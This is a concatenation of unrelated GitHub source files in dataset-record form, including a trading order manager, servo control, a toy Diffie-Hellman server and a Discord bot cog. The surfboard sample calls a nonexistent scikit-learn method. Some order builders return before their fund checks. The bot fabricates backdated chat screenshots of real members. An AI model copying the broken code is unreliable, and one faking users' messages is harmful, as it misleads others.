summary_for_email():\n pass","repo_name":"Ziem0/Shop","sub_path":"view/order_ui.py","file_name":"order_ui.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1678345286","text":"\"\"\"Here's an example code snippet that demonstrates how to implement an AI surfboard generator and recommendation engine using Python:\"\"\"\n\nimport requests\nimport numpy as np\nfrom sklearn.ensemble import RandomForestClassifier\n\n# Function to fetch wave conditions from an API\ndef get_wave_conditions(location):\n api_key = 'your_api_key'\n url = f'https://api.waveservice.com/forecast/locations/{location}/forecasts?api_key={api_key}'\n response = requests.get(url)\n data = response.json()\n return data['wave_height'], data['wave_period'], data['swell_direction']\n\n# Function to generate surfboard recommendations\ndef generate_surfboard_recommendation(rider_style, skill_level, wave_height, wave_period, swell_direction):\n # Load trained machine learning model\n model = RandomForestClassifier()\n model.load_model('surfboard_model.pkl')\n\n # Preprocess input features\n features = np.array([rider_style, skill_level, wave_height, wave_period, swell_direction]).reshape(1, -1)\n\n # Predict surfboard recommendation\n recommendation = model.predict(features)\n\n return recommendation\n\n# Main function\ndef main():\n # Get user inputs\n rider_style = input(\"Enter your rider style: \")\n skill_level = input(\"Enter your skill level: \")\n location = input(\"Enter your current location: \")\n\n # Fetch wave conditions\n wave_height, wave_period, swell_direction = get_wave_conditions(location)\n\n # Generate surfboard recommendation\n recommendation = generate_surfboard_recommendation(rider_style, skill_level, wave_height, wave_period, swell_direction)\n\n print(f\"Recommended surfboard: {recommendation}\")\n\n# Run the program\nif __name__ == '__main__':\n main()\n","repo_name":"ShangitaPaul/surf-craft-guru","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73366383732","text":"import datetime\nfrom copy import deepcopy\n\nimport ccxt\n\nfrom punisher.portfolio.asset import Asset\nfrom punisher.portfolio.balance import BalanceType\n\nfrom .errors import handle_ordering_exception, OrderingError, ErrorCode\nfrom .order import Order\nfrom .order import OrderType, OrderStatus\n\n\ndef build_limit_buy_order(balance, exchange, asset, quantity, price, current_time):\n order = Order(\n exchange_id=exchange.id,\n asset=asset,\n price=price,\n quantity=quantity,\n order_type=OrderType.LIMIT_BUY,\n created_time=current_time\n )\n if balance.is_balance_sufficient(\n asset, quantity, price, OrderType.LIMIT_BUY):\n return order\n\n print(\"Insufficient funds in portfolio... failed to build limit buy order\")\n error = OrderingError(ErrorCode.INSUFFICIENT_FUNDS, \"Insufficient funds.\")\n order.error = error\n order.status = OrderStatus.FAILED\n return order\n\ndef build_limit_sell_order(balance, exchange, asset, quantity, price, current_time):\n return Order(\n exchange_id=exchange.id,\n asset=asset,\n price=price,\n quantity=quantity,\n order_type=OrderType.LIMIT_SELL,\n created_time=current_time\n )\n if balance.is_balance_sufficient(\n asset, quantity, price, OrderType.LIMIT_SELL):\n return order\n\n print(\"Insufficient funds in portfolio... failed to build limit sell order\")\n error = OrderingError(ErrorCode.INSUFFICIENT_FUNDS, \"Insufficient funds.\")\n order.error = error\n order.status = OrderStatus.FAILED\n return order\n\ndef build_market_buy_order(balance, exchange, asset, quantity, current_time):\n return Order(\n exchange_id=exchange.id,\n asset=asset,\n price=None,\n quantity=quantity,\n order_type=OrderType.MARKET_BUY,\n created_time=current_time\n )\n if balance.is_balance_sufficient(\n asset, quantity, price, OrderType.MARKET_BUY):\n return order\n\n print(\"Insufficient funds in portfolio... failed to build limit sell order\")\n error = OrderingError(ErrorCode.INSUFFICIENT_FUNDS, \"Insufficient funds.\")\n order.error = error\n order.status = OrderStatus.FAILED\n return order\n\ndef build_market_sell_order(balance, exchange, asset, quantity, current_time):\n return Order(\n exchange_id=exchange.id,\n asset=asset,\n price=None,\n quantity=quantity,\n order_type=OrderType.MARKET_SELL,\n created_time=current_time\n )\n if balance.is_balance_sufficient(\n asset, quantity, price, OrderType.MARKET_SELL):\n return order\n\n print(\"Insufficient funds in portfolio... failed to build limit sell order\")\n error = OrderingError(ErrorCode.INSUFFICIENT_FUNDS, \"Insufficient funds.\")\n order.error = error\n order.status = OrderStatus.FAILED\n return order\n\ndef get_order(exchange, ex_order_id, asset):\n return exchange.fetch_order(ex_order_id, asset)\n\n# TODO: implement / fix bugs\n# def get_orders(exchange, ex_order_ids, assets):\n# ex_orders = []s\n# if not isinstance(assets, list):\n# asset = deepcopy(assets)\n# assets = [asset for i in range(len(ex_order_ids))]\n# for ex_order_id, asset in zip(ex_order_ids, assets):\n# ex_order = get_order(exchange, ex_order_id, asset)\n# ex_orders.append(ex_order)\n# return ex_orders\n\ndef process_orders(exchange, balance, open_or_new_orders):\n \"\"\"\n Process orders takes open_orders from previous round\n Places newly created orders,\n \"\"\"\n updated_orders = []\n # Get the newly created orders\n # and place them on the exchange\n # update the portfolio balance\n # add the failed orders to failed_orders\n created_orders = get_created_orders(open_or_new_orders)\n balance.update_with_created_orders(created_orders)\n placed_orders = place_orders(exchange, created_orders)\n open_orders = get_open_orders(open_or_new_orders)\n\n # Get updates for new and existing open orders\n for order in open_orders:\n ex_order = get_order(exchange, order.exchange_order_id, order.asset)\n sync_order_with_exchange(order, ex_order)\n\n updated_orders.extend(placed_orders)\n updated_orders.extend(open_orders)\n\n assert_no_duplicates(updated_orders)\n\n return updated_orders\n\ndef assert_no_duplicates(orders):\n keys = set()\n for o in orders:\n if o.id in keys:\n raise Exception(\"duplicate found\", o.id, orders)\n keys.add(o.id)\n\ndef place_order(exchange, order):\n \"\"\"Submits order to exchange\"\"\"\n try:\n if order.order_type == OrderType.LIMIT_BUY:\n ex_order = exchange.create_limit_buy_order(\n order.asset, order.quantity, order.price)\n elif order.order_type == OrderType.LIMIT_SELL:\n ex_order = exchange.create_limit_sell_order(\n order.asset, order.quantity, order.price)\n elif order.order_type == OrderType.MARKET_BUY:\n ex_order = exchange.create_market_buy_order(\n order.asset, order.quantity)\n elif order.order_type == OrderType.MARKET_SELL:\n ex_order = exchange.create_market_sell_order(\n order.asset, order.quantity)\n else:\n raise Exception(\"Order type {:s} not supported\".format(\n order.order_type.name))\n sync_order_with_exchange(order, ex_order)\n\n # TODO: Create Parent Exception Class and Catch a bunch of errors\n except ccxt.errors.InsufficientFunds as ex:\n error = handle_ordering_exception(ex)\n order.error = error\n order.status = OrderStatus.FAILED\n print(\"Order Failed\", order)\n\n order.attempts += 1\n return order\n\ndef sync_order_with_exchange(order, ex_order):\n order.exchange_order_id = ex_order.ex_order_id\n order.opened_time = ex_order.opened_time\n order.filled_time = ex_order.filled_time\n order.canceled_time = ex_order.canceled_time\n order.status = ex_order.status\n order.filled_quantity = ex_order.filled_quantity\n order.price = ex_order.price\n order.fee = ex_order.fee\n order.trades = ex_order.trades\n\ndef place_orders(exchange, orders):\n placed = []\n for order in orders:\n placed_order = place_order(exchange, order)\n placed.append(placed_order)\n return placed\n\ndef cancel_order(exchange, ex_order_id):\n cancel_response = exchange.cancel_order(\n order_id=ex_order_id)\n return cancel_response\n\ndef cancel_orders(exchange, orders):\n cancel_responses = []\n for order in orders:\n resp = cancel_order(exchange, order.exchange_order_id)\n cancel_responses.append(resp)\n return cancel_responses\n\ndef get_created_orders(orders):\n return get_orders_by_types(orders, [OrderStatus.CREATED])\n\ndef get_open_orders(orders):\n return get_orders_by_types(orders, [OrderStatus.OPEN])\n\ndef get_filled_orders(orders):\n return get_orders_by_types(orders, [OrderStatus.FILLED])\n\ndef get_canceled_orders(orders):\n return get_orders_by_types(orders, [OrderStatus.CANCELED])\n\ndef get_failed_orders(orders, retry_limit=0):\n failed_orders = get_orders_by_types(orders, [OrderStatus.FAILED])\n # failed_orders = []\n # for order in orders:\n # if order.attempts < retry_limit:\n # failed_orders.append(order)\n return failed_orders\n\ndef get_orders_by_types(orders, order_types):\n results = []\n for order in orders:\n if order.status in order_types:\n results.append(order)\n return results\n\ndef get_order_by_ex_order_id(orders, ex_order_id):\n for order in orders:\n if order.exchange_order_id == ex_order_id:\n return order\n return None\n","repo_name":"bfortuner/punisher","sub_path":"punisher/trading/order_manager.py","file_name":"order_manager.py","file_ext":"py","file_size_in_byte":7656,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"20548627861","text":"from django.contrib.gis.db import models\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass DeviceData(models.Model):\n identifier = models.CharField(\n max_length=250,\n null=False,\n blank=False,\n )\n name = models.CharField(\n max_length=250,\n null=False,\n blank=False,\n )\n location = models.PointField(\n _(\"location\"),\n geography=True,\n null=False,\n blank=False\n )\n location_timeStamp = models.DateTimeField(\n null=False,\n blank=False\n )\n location_positionType = models.CharField(\n null=True,\n blank=True,\n )\n location_horizontalAccuracy = models.FloatField(\n null=True,\n blank=True,\n )\n location_verticalAccuracy = models.FloatField(\n null=True,\n blank=True,\n )\n location_isInaccurate = models.BooleanField(\n null=True,\n blank=True,\n )\n location_isOld = models.BooleanField(\n null=True,\n blank=True,\n )\n location_locationFinished = models.BooleanField(\n null=True,\n blank=True,\n )\n batteryLevel = models.FloatField(\n null=True,\n blank=True,\n )\n batteryStatus = models.CharField(\n null=True,\n blank=True,\n )\n\n class Meta:\n verbose_name = _(\"Device Data\")\n verbose_name_plural = _(\"Device Data\")\n\n def __str__(self):\n return f\"{self.name}\"\n\n @property\n def longitude(self):\n return self.location.x\n\n @property\n def latitude(self):\n return self.location.y\n","repo_name":"SpatialDynamicsLab/location-based-connected-devices-API","sub_path":"src/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40863295345","text":"#Author: Date: <09/09/19>\n#\n#For testing an input will be requested.\n#This way we can find the exact rotation for final.\n#\n#Rotation Input options:\n# up: 2.5 - 2\n# center: 7.5-8\n# down: 12.5-13\n#\n# Range: 3-13 (right to left; included decimal values)\n#-----------------------------------------------------\n\nimport RPi.GPIO as GPIO\nimport time\n#------GPIO Inputs------\nservo1 = 12 #--GPIO18\nservo2 = 11 #--GPIO17\n\n#------Variables--------\ncenter = 8\nright = 3\nleft = 13\n\n#----Setup--------------\n\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setup(servo1, GPIO.OUT)\nGPIO.setup(servo2, GPIO.OUT)\n\np = GPIO.PWM(servo1, 50)\np2 = GPIO.PWM(servo2, 50)\n\np.start(0)\np2.start(0)\n#--Functions--\ndef re():\n\ttime.sleep(1)\n\tp.ChangeDutyCycle(0)\n\tp2.ChangeDutyCycle(0)\n\treturn re\n#-----start----------------\n\nprint(\"Input options are the following:\")\nprint(\" - up, down, center\")\nprint(\" - values in the range of 3-13(including dec)\")\nprint(\"__________________________________________________\")\n\ntry:\n\twhile True:\n\n\t\tprint (\"Please input desired turn rotation:\")\n\t\tx = raw_input()\n\n\t\tif(x == 'down'):\n\t\t\tp.ChangeDutyCycle(float(left))\n\t\t\tp2.ChangeDutyCycle(float(left))\n\t\t\tre()\n\t\telif(x == 'center'):\n\t\t\tp.ChangeDutyCycle(float(center))\n\t\t\tp2.ChangeDutyCycle(float(center))\n\t\t\tre()\n\t\telif(x=='up'):\n\t\t\tp.ChangeDutyCycle(float(right))\n\t\t\tp2.ChangeDutyCycle(float(right))\n\t\t\tre()\n\t\telse:\n\t\t\tp.ChangeDutyCycle(float(x))\n\t\t\tp2.ChangeDutyCycle(float(x))\n\t\t\tre()\n\n\nexcept KeyboardInterrupt:\n p.stop()\n p2.stop()\n GPIO.cleanup()\n","repo_name":"dook-robotics/Mobile-Robotics","sub_path":"Motors/Servos.py","file_name":"Servos.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32742500162","text":"#!/usr/bin/env python3\n\nimport os\nimport random # Discuss: random module\nimport sys\n\n# Constants\n # Discuss: set data structure\nNSFW = {'bong', 'sodomized', 'kiss', 'head-in', 'telebears'}\n\n# Main Execution\n\ndef main():\n characters = [] # Discuss: os.popen\n for index, line in enumerate(os.popen('cowsay -l')):\n if not index: # Discuss: enumerate\n continue\n\n for character in line.split(): # Review: str.split\n if character not in NSFW: # Review: searching collection\n characters.append(character) # Review: list.append\n \n selected = random.choice(characters)\n os.system(f'cowsay -f {selected}') # Variant: check exist status\n\nif __name__ == '__main__':\n main()\n","repo_name":"nd-cse-20289-sp22/cse-20289-sp22-examples","sub_path":"lecture09/randomsay.py","file_name":"randomsay.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42515883486","text":"import socketserver\nfrom diffiehellman import *\nimport json\n\nclass Server(socketserver.BaseRequestHandler):\n def start_diffie_hellman(self):\n recv=self.request.recv(1024).decode() #get connection\n print(recv)\n\n self.privatePrime = RandomPrime(128)\n self.sharedPrime = RandomPrime(256)\n self.base = RandomPrime(4)\n\n publicSecret=calcKey(self.base,self.privatePrime,self.sharedPrime)\n\n to_send = {\n 'type':'Server',\n 'base':self.base,\n 'shared_prime':self.sharedPrime,\n 'public_secret':publicSecret\n }\n\n to_send=json.dumps(to_send)\n print(to_send)\n\n self.request.send(to_send.encode())\n\n rec_data=self.request.recv(1024)\n rec_data=json.loads(rec_data.decode())\n\n publicSecret = rec_data['public_secret']\n\n self.key=calcKey(publicSecret,self.privatePrime,self.sharedPrime)\n\n def handle(self):\n print(\"{} my client\".format(self.client_address[0]))\n self.start_diffie_hellman()\n print(\"Secret key{}\\n\".format(self.key))","repo_name":"nikita-potashev/Classic-ciphers","sub_path":"lab06/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72417829173","text":"import os\r\nimport argparse\r\nfrom model import DGN\r\nfrom config import MODEL_PARAMS, CONFIG\r\nif not os.path.exists('temp'):\r\n os.makedirs('temp')\r\nif not os.path.exists('output'):\r\n os.makedirs('output')\r\nif not os.path.exists('saved_weights'):\r\n os.makedirs('saved_weights')\r\nif not os.path.exists('./output/cbts'):\r\n os.makedirs('./output/cbts')\r\nimport numpy as np\r\nimport random\r\nimport torch\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--GraphGradIn\", help=\"Use GraphGradIn influence score calculation\", action=\"store_true\")\r\nparser.add_argument(\"--GraphTestIn\", help=\"Use GraphTestIn influence score calculation\", action=\"store_true\")\r\nargs = parser.parse_args()\r\n\r\nsimulated_dataset = CONFIG[\"X\"]\r\n\r\nseed = 35813\r\nnp.random.seed(seed)\r\ntorch.manual_seed(seed)\r\nrandom.seed(seed)\r\ntorch.backends.cudnn.deterministic = True\r\ntorch.backends.cudnn.benchmark = False\r\n\r\n\r\nDGN.train_model(\r\n X=simulated_dataset,\r\n model_params=MODEL_PARAMS,\r\n n_max_epochs=CONFIG[\"N_max_epochs\"],\r\n random_sample_size=CONFIG[\"random_sample_size\"],\r\n early_stop=CONFIG[\"early_stop\"],\r\n args=args\r\n)\r\n","repo_name":"basiralab/GraphGradIn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8290981295","text":"import sqlite3\nfrom pathlib import Path\nfrom unittest import TestCase\n\nfrom sqlalchemy import Column, Table\nfrom sqlalchemy.orm import DeclarativeBase\nfrom sqlalchemy.sql.sqltypes import Integer, String\n\nfrom macaron.database.database_manager import DatabaseManager\n\n\nclass Base(DeclarativeBase):\n \"\"\"Declarative base class for mapper.\"\"\"\n\n\nclass ORMMappedTable(Base):\n \"\"\"Check justification table for build_as_code.\"\"\"\n\n __tablename__ = \"_test_orm_table\"\n\n id = Column(Integer, primary_key=True, autoincrement=True) # noqa: A003 pylint # ignore=invalid-name\n value = Column(String)\n\n\nclass TestDatabaseManager(TestCase):\n \"\"\"\n Test the DatabaseManager module.\n \"\"\"\n\n TEST_VALUE = \"Hello World\"\n TEST_IDENT = 10\n\n def setUp(self) -> None:\n \"\"\"Set up the database and ensure it is empty.\"\"\"\n self.db_path = str(Path(__file__).parent.joinpath(\"macaron.db\"))\n self.db_man = DatabaseManager(self.db_path, base=Base)\n con = sqlite3.connect(self.db_path)\n with con:\n con.execute(\"drop table if exists test_table;\")\n con.execute(\"drop table if exists new_test_table;\")\n con.execute(\"drop table if exists _test_table;\")\n con.execute(\"drop table if exists _test_orm_table;\")\n con.execute(\"drop view if exists test_orm_table;\")\n con.commit()\n\n @staticmethod\n def _assert_query_result(db_path: str, query: str, expect: list[tuple]) -> None:\n con = sqlite3.connect(db_path)\n with con:\n cursor = con.execute(query)\n rows = cursor.fetchall()\n assert str(rows) == str(expect)\n\n def test_insert(self) -> None:\n \"\"\"Insert to database using core api.\"\"\"\n tbl = Table(\"test_table\", Base.metadata, Column(\"test\", String))\n self.db_man.create_tables()\n self.db_man.insert(tbl, {\"test\": self.TEST_VALUE})\n self._assert_query_result(self.db_path, \"select * from test_table;\", [(self.TEST_VALUE,)])\n\n def test_context_manager_orm(self) -> None:\n \"\"\"Connect to database using context manager and create tables, with concurrent connections.\"\"\"\n with DatabaseManager(self.db_path, base=Base) as db_man:\n table = ORMMappedTable(id=10, value=self.TEST_VALUE)\n db_man.create_tables()\n db_man.add_and_commit(table)\n db_man.session.flush()\n\n self._assert_query_result(self.db_path, \"select * from _test_orm_table;\", [(self.TEST_IDENT, self.TEST_VALUE)])\n self._assert_query_result(self.db_path, \"select * from test_orm_table;\", [(self.TEST_IDENT, self.TEST_VALUE)])\n\n # Interacting with db manager after ended session should not crash\n db_man.add_and_commit(ORMMappedTable(id=100, value=self.TEST_VALUE))\n tbl = Table(\"new_test_table\", Base.metadata, Column(\"test\", String))\n db_man.create_tables()\n db_man.insert(tbl, {\"test\": self.TEST_VALUE})\n self._assert_query_result(self.db_path, \"select * from new_test_table;\", [(self.TEST_VALUE,)])\n\n def tearDown(self) -> None:\n \"\"\"Terminate the database connection.\"\"\"\n self.db_man.terminate()\n","repo_name":"laurentsimon/macaron","sub_path":"tests/database/test_database_manager.py","file_name":"test_database_manager.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"41450032941","text":"from history import History\nfrom momento import Momento\n\n\nclass Editor(Momento):\n \n def __init__(self, title, content):\n self.title = title\n self.content = content\n\n def __str__(self) -> str:\n return f'{self.title}-{self.content}'\n\n\ndef main():\n \n editor = Editor('Title1', 'Content1')\n editor.save_state()\n\n editor.title = 'Title2'\n editor.save_state()\n\n editor.title = 'Title3'\n print(editor)\n\n editor.undo()\n print(editor)\n\n editor.undo()\n print(editor)\n\n\nif __name__ == '__main__':\n main()","repo_name":"mr-seifi/design-patterns","sub_path":"behavioural/momento_pattern/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"515754186","text":"from discord.ext import commands\nfrom discord.ext.commands import Context\nfrom discord import Embed, File, Message\n\nfrom asyncio import sleep\nfrom asyncio import TimeoutError as Timeout\n\nimport requests\nfrom io import BytesIO\nfrom PIL import Image\n\nfrom random import choice, randint\nfrom re import findall, search, split, DOTALL, MULTILINE\nfrom itertools import chain\n\nfrom utils import *\nfrom assets import Assets\nfrom .cn_word_detector.detector import detect_cn_words\n\nfrom .screenshot_generator.Generator import Generator\nfrom time import localtime, strftime\nfrom faker import Faker\n\n\nclass Fun(Cog):\n\n @commands.Cog.listener()\n async def on_ready(self):\n self.backstage = self.bot.get_channel(954718717974044703)\n self.emojis = {}\n for guild in self.bot.guilds:\n if guild.id in (954768006964183060, 954761016728752169):\n for emoji in guild.emojis:\n self.emojis[emoji.name] = str(emoji)\n\n self.words = []\n for fn in ('easy', 'medium'):\n with open(f'assets/words/{fn}.txt') as f:\n self.words.append([l[:-1] for l in f.readlines()])\n\n @commands.Cog.listener()\n async def on_message(self, message:Message):\n count = len(findall(\"高粱|<@859231400071135262>\", message.content))\n if count:\n await message.channel.send(\n embed = Embed().set_image(url = Assets.picture[\"dan\"]),\n delete_after = 0.3*count)\n \n detection = detect_cn_words(message.content)\n if detection:\n await message.reply(\n embed = detection\n )\n\n\n @commands.command(aliases=['ss'])\n async def screenshot(self, ctx: Context, *, inputs):\n inputs = \"\\n\" + inputs\n user_ids = findall(r\"\\n<@([0-9]+)> *:\", inputs)\n messages = split(r\"\\n<@[0-9]+> *:\", inputs)\n img_id = ctx.message.id\n generator = Generator(img_id)\n fake = Faker()\n Faker.seed()\n time = fake.date_between(start_date='-2y', end_date='today')\n time = time.strftime(\"%Y/%m/%d\")\n if(messages[0]): user_ids.insert(0,choice(ctx.guild.members).id)\n else: del messages[0]\n for uid, message in zip(user_ids,messages):\n while message[0] in [\"\\n\",\" \",\" \"]: message = message[1::]\n member = await ctx.guild.fetch_member(uid)\n if(member):\n generator.add(\n member.display_name,\n member.color,\n member.display_avatar.url,\n message,\n time)\n else:\n user = await self.bot.fetch_user(uid)\n generator.add(\n user.name,\n \"white\",\n user.display_avatar.url,\n message,\n time)\n embed = Embed(title=\"請稍後..\")\n embed.set_image(url=\"https://c.tenor.com/5StiWpbuWx8AAAAi/%E6%9D%B1%E6%96%B9-%E5%B0%91%E5%A5%B3%E8%AE%80%E5%8F%96%E4%B8%AD.gif\")\n reply = await ctx.send(embed = embed)\n generator.generate()\n tmp = await self.backstage.send(file=File(f\"buffer/screenshot{img_id}.png\"))\n generator.delete_img()\n embed.set_image(url = tmp.attachments[0].url)\n embed.title = f\"來自{time}的截圖\"\n await reply.edit(embed = embed)\n \n @commands.command(aliases=['bt'])\n async def bigtext(self, ctx: Context, text:str):\n r = requests.get(f'https://www.moedict.tw/{text}.png')\n if r.status_code == 200:\n img = Image.open(BytesIO(r.content))\n img = img.crop(img.getbbox())\n \n fp = BytesIO()\n img.save(fp, format=\"PNG\")\n fp.seek(0)\n msg = await self.backstage.send(file = File(fp, filename = f\"{text}.png\"))\n e = Embed()\n e.set_footer(text = f'from {ctx.author.display_name}', icon_url = ctx.author.avatar.url)\n e.set_image(url = msg.attachments[0].url)\n\n await ctx.send(embed = e)\n \n else: print(r.status_code)\n\n\n @commands.command(aliases=['wd'])\n async def wordle(self, ctx: Context, difficulty:str = 'easy', timeout:int = 30):\n emojis = self.emojis\n \n game_area = await ctx.message.create_thread(name=f'{ctx.author.display_name} 的 WordleGame')\n row = emojis['empty'] * 5\n embed = Embed(title = \"點擊符號開始遊戲\")\n\n game = await game_area.send(f'{row}\\n'*5, embed=embed)\n W = emojis['Wa']\n await game.add_reaction(W)\n\n try:\n await self.bot.wait_for(\n 'reaction_add',\n check = lambda r, u: all([\n u.id == ctx.author.id,\n str(r) == W\n ]),\n timeout = 20)\n except Timeout:\n await game_area.delete()\n return\n else:\n await game.clear_reactions()\n\n timeout = min((5,10,20,30), key = lambda i:abs(i-timeout))\n answer = choice(self.words[difficulty == 'hard'])\n record = ''\n def get_result(guess):\n nonlocal record\n result = ''\n answer_record = list(answer)\n guess = list(str(guess).upper())\n status_list = [0]*5\n\n for i in range(5):\n if(answer_record[i] == guess[i]):\n status_list[i] = 2\n answer_record[i] = ''\n\n for i in range(5):\n if not status_list[i]:\n if(guess[i] in answer_record):\n status_list[i] = 1\n answer_record[i] = ''\n \n for status, char in zip(status_list, guess):\n record += '⬛🟨🟩'[status]\n result += emojis[ char + 'cba'[status] ]\n record += '\\n'\n return result\n\n set_author = lambda e: e.set_author(name = \"Wordle Game\", icon_url=\"https://cdn.discordapp.com/attachments/954768007597527093/954903092351098910/wordle.png\")\n\n times = 1\n\n while True:\n \n if times <= 5:\n e = Embed(title = f'回合 **{times}/5**')\n e.set_image(url = Assets.gif[f'{timeout}s'])\n set_author(e)\n await game.edit(embed = e)\n\n try:\n guess = await self.bot.wait_for(\n 'message',\n check = lambda m:all([\n m.content.upper() in chain(*self.words),\n m.channel == game_area,\n m.author.id == ctx.author.id\n ]),\n timeout = timeout )\n \n except Timeout:\n e = Embed(title = f'超時 **正確答案: {answer}**')\n break\n else:\n guess = guess.content.upper()\n content = game.content.replace(row, get_result(guess), 1)\n game = await game.edit(content = content)\n times += 1\n if guess == answer:\n e = Embed(title = '**恭喜答對**')\n e.add_field(name = '\\u200b', value = record)\n break\n finally:\n set_author(e)\n await game.edit(embed = e)\n else:\n e = Embed(title = f'正確答案: {answer}')\n break\n \n set_author(e)\n await game.edit(embed = e)\n\n await sleep(10)\n await game_area.delete()\n\n\n\ndef setup(bot: commands.Bot):\n bot.add_cog(Fun(bot))","repo_name":"tseng-Chen/TheBot","sub_path":"cogs/Fun.py","file_name":"Fun.py","file_ext":"py","file_size_in_byte":7793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34953664116","text":"__author__ = \"Vanessa Sochat\"\n__copyright__ = \"Copyright 2020-2021, Vanessa Sochat\"\n__license__ = \"MPL 2.0\"\n\nfrom snakeface.settings import cfg\nimport subprocess\nimport threading\n\nimport tempfile\nimport os\nimport re\n\n\ndef get_workdir_choices(path=None):\n \"\"\"Given the working directory set on init, return potential subdirectories.\"\"\"\n path = path or cfg.WORKDIR\n choices = [(path, \"/\")]\n\n # Recursive to working directory is default\n for root, dirs, files in sorted(os.walk(path)):\n for f in sorted(dirs):\n if f == \"__pycache__\":\n continue\n fullpath = os.path.join(root, f)\n # Ignore all hidden files and paths\n if \"/.\" in f or \"/.\" in fullpath or \"/.\" in root:\n continue\n choices.append((fullpath, fullpath))\n return choices\n\n\ndef get_snakefile_choices(path=None):\n \"\"\"Given the working directory set on init, return all discovered snakefiles.\"\"\"\n path = path or cfg.WORKDIR\n choices = []\n\n # Recursive to working directory is default\n for root, dirs, files in sorted(os.walk(path)):\n for f in sorted(files):\n fullpath = os.path.join(root, f)\n if re.search(\"Snakefile\", f):\n choices.append((fullpath, fullpath))\n return choices\n\n\ndef write_file(filename, content):\n \"\"\"Write some text content to a file\"\"\"\n with open(filename, \"w\") as fd:\n fd.write(content)\n return filename\n\n\ndef read_file(filename):\n \"\"\"Write some text content to a file\"\"\"\n with open(filename, \"r\") as fd:\n content = fd.read()\n return content\n\n\ndef get_tmpfile(prefix=\"\", suffix=\"\"):\n \"\"\"get a temporary file with an optional prefix. By default, the file\n is closed (and just a name returned).\n\n Arguments:\n - prefix (str) : prefix with this string\n \"\"\"\n tmpdir = tempfile.gettempdir()\n prefix = os.path.join(tmpdir, os.path.basename(prefix))\n fd, tmp_file = tempfile.mkstemp(prefix=prefix, suffix=suffix)\n os.close(fd)\n return tmp_file\n\n\nclass ThreadRunner(threading.Thread):\n \"\"\"We need to be able to run a Snakemake job as a thread, and kill it if\n an exception is raised based on it's id\n \"\"\"\n\n def set_workflow(self, workflow):\n self.workflow = workflow\n\n @property\n def thread_id(self):\n \"\"\"Return the id of the thread, either attributed to the class or\n by matching the Thread instance\n \"\"\"\n if hasattr(self, \"_thread_id\"):\n return self._thread_id\n for thread_id, thread in threading._active.items():\n if thread is self:\n return thread_id\n\n\nclass CommandRunner(object):\n \"\"\"Wrapper to use subprocess to run a command. This is based off of pypi\n vendor distlib SubprocesMixin.\n \"\"\"\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.error = []\n self.output = []\n self.retval = None\n\n def reader(self, stream, context):\n \"\"\"Get output and error lines and save to command runner.\"\"\"\n # Make sure we save to the correct field\n lines = self.error\n if context == \"stdout\":\n lines = self.output\n\n while True:\n s = stream.readline()\n if not s:\n break\n lines.append(s.decode(\"utf-8\"))\n stream.close()\n\n def run_command(\n self, cmd, env=None, cancel_func=None, cancel_func_kwargs=None, **kwargs\n ):\n self.reset()\n cancel_func_kwargs = cancel_func_kwargs or {}\n\n # If we need to update the environment\n # **IMPORTANT: this will include envars from host. Absolutely cannot\n # be any secrets (they should be defined in the app settings file)\n envars = os.environ.copy()\n if env:\n envars.update(env)\n\n p = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=envars, **kwargs\n )\n\n # Create threads for error and output\n t1 = threading.Thread(target=self.reader, args=(p.stdout, \"stdout\"))\n t1.start()\n t2 = threading.Thread(target=self.reader, args=(p.stderr, \"stderr\"))\n t2.start()\n\n # Continue running unless cancel function is called\n counter = 0\n while True:\n\n # Check on process for finished or cancelled\n if p.poll() != None:\n print(\"Return value found, stopping.\")\n break\n\n # Check the cancel function every 100 loops\n elif (\n counter % 10000 == 0\n and cancel_func\n and cancel_func(**cancel_func_kwargs)\n ):\n print(\"Process is terminated\")\n p.terminate()\n break\n counter += 1\n\n # p.wait()\n t1.join()\n t2.join()\n self.retval = p.returncode\n return self.output\n","repo_name":"snakemake/snakeface","sub_path":"snakeface/apps/main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"} +{"seq_id":"38460786587","text":"import pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.metrics import accuracy_score,confusion_matrix\r\ndf = pd.read_csv(\"C:\\\\Users\\\\giris_pu2cvr5\\\\Downloads\\\\mobile.csv\")\r\nselected_features = ['battery_power', 'ram', 'n_cores', 'px_height']\r\nX = df[selected_features]\r\ny = df['price_range']\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=42)\r\nknn = KNeighborsClassifier(n_neighbors=5)\r\nknn.fit(X_train, 